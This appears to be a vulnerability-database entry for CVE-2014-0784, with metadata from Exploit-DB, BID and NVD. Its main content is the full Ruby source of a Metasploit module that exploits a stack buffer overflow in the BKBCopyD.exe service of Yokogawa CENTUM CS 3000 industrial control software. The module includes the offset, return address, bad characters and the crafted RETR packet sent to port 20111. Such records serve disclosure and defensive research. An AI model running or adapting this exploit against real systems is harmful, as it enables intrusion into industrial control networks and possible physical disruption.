ID

VAR-E-201403-0243


CVE

cve_id:CVE-2014-0784

Trust: 1.9

sources: BID: 66114 // EXPLOIT-DB: 32210 // EDBNET: 53756

EDB ID

32210


TITLE

Yokogawa CENTUM CS 3000 - 'BKBCopyD.exe' Remote Buffer Overflow (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 32210

DESCRIPTION

Yokogawa CENTUM CS 3000 - 'BKBCopyD.exe' Remote Buffer Overflow (Metasploit). CVE-2014-0784CVE-104429 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 32210

AFFECTED PRODUCTS

vendor:yokogawamodel:centum csscope:eqversion:3000

Trust: 1.0

sources: EXPLOIT-DB: 32210

EXPLOIT

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
},
'Author' =>
[
'juan vazquez',
'Redsadic <julian.vilas[at]gmail.com>'
],
'References' =>
[
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
],
'Payload' =>
{
'Space' => 373, # 500 for the full RETR argument
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\xff",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
{
'Ret' => 0x6404625d, # push esp # ret # libBKBUtil.dll]
'Offset' => 123
}
],
],
'DisclosureDate' => 'Mar 10 2014',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(20111)
], self.class)
end

def check
pkt = build_probe
res = send_pkt(pkt)
if valid_response?(res)
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def exploit
data = "RETR "
data << rand_text(target['Offset'])
data << [target.ret].pack("V")
data << payload.encoded
data << "\n"

print_status("Trying target #{target.name}, sending #{data.length} bytes...")
connect
sock.put(data)
disconnect
end

def build_probe
"#{rand_text_alpha(10)}\n"
end

def send_pkt(data)
connect
sock.put(data)
data = sock.get_once
disconnect

return data
end

def valid_response?(data)
return false unless !!data
return false unless data =~ /500 'yyparse error': command not understood/
return true
end

end

Trust: 1.0

sources: EXPLOIT-DB: 32210

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 32210

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 32210

TYPE

'BKBCopyD.exe' Remote Buffer Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 32210

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

sources: EXPLOIT-DB: 32210

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 32210

EXTERNAL IDS

db:NVDid:CVE-2014-0784

Trust: 1.9

db:EXPLOIT-DBid:32210

Trust: 1.6

db:EDBNETid:53756

Trust: 0.6

db:BIDid:66114

Trust: 0.3

sources: BID: 66114 // EXPLOIT-DB: 32210 // EDBNET: 53756

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2014-0784

Trust: 1.6

url:https://www.exploit-db.com/exploits/32210/

Trust: 0.6

sources: EXPLOIT-DB: 32210 // EDBNET: 53756

SOURCES

db:BIDid:66114
db:EXPLOIT-DBid:32210
db:EDBNETid:53756

LAST UPDATE DATE

2022-07-27T09:37:56.197000+00:00


SOURCES UPDATE DATE

db:BIDid:66114date:2014-08-01T00:01:00

SOURCES RELEASE DATE

db:BIDid:66114date:2014-03-07T00:00:00
db:EXPLOIT-DBid:32210date:2014-03-12T00:00:00
db:EDBNETid:53756date:2014-03-12T00:00:00